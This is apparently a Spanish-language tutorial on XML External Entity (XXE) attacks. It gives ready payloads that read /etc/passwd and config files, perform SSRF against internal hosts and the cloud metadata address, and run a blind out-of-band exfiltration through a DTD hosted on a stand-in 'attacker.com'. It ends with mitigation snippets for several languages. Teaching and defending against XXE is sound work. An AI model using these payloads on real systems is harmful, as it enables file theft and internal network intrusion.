Intermedio
CVSS 7.5 - Alto
25 min

XML External Entity (XXE)

Explotación de parsers XML para leer archivos y ejecutar código

¿Qué es XXE?

XXE es una vulnerabilidad en aplicaciones que parsean XML permitiendo a un atacante definir entidades externas para leer archivos locales, hacer SSRF, o causar DoS.

Payload Básico

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

<!-- Parser vulnerable leerá /etc/passwd y lo insertará en <name> -->

Tipos de Ataques XXE

1. File Disclosure

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">]>

2. SSRF (Server-Side Request Forgery)

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

3. Blind XXE (Out-of-Band)

<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

<!-- evil.dtd en servidor atacante -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

Mitigación

Deshabilitar Entidades Externas

// Node.js (xml2js)
const xml2js = require('xml2js');
const parser = new xml2js.Parser({
  explicitArray: false,
  xmlns: false,
  // ✅ Deshabilitar entidades externas
  external_entities: false
});

// libxml (PHP)
libxml_disable_entity_loader(true);

// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)